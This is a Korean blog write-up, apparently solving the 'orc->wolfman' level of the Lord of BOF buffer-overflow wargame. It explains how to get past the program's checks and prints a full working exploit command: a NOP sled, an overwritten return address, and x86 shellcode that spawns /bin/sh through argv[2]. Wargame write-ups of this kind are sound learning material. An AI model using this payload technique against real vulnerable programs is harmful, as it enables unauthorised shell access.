Write-Up/LOB

LOB: orc->wolfman

NONE_31D 2019. 12. 4. 21:42

1. wolfman.c 분석

- argv[1][47] == "\xbf" 을 지키도록 페이로드 작성해야 함

- memset(buffer, 0, 40) -> 버퍼에다 오버플로 불가, argv[2]에 쉘코드 삽입 예정

 

먼저 write-up을 올린 troll과 비슷하게 페이로드를 작성할 수 있다.

 

 

2. 디버깅

strcpy 직후 bp 건 후, argv[2]의 위치 확인

 

"\xbf"*48을 통해 if 구문 우회 후 A가 저장된 공간을 확인할 수 있다. 대충 0xbffffad4를 argv[2]의 주소로 사용할 예정.

 

 

3. 페이로드 작성

./wolfman $(python -c 'print "\x90"*44+"\xd4\xfa\xff\xbf"+"\x90"*200+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

'Write-Up > LOB' 카테고리의 다른 글

LOB: succubus -> nightmare  (0) 2019.11.28
LOB: troll->vampire  (0) 2019.11.28
LOB: gremlin->cobolt  (0) 2019.11.27
LOB: gate - 수정중  (0) 2019.11.22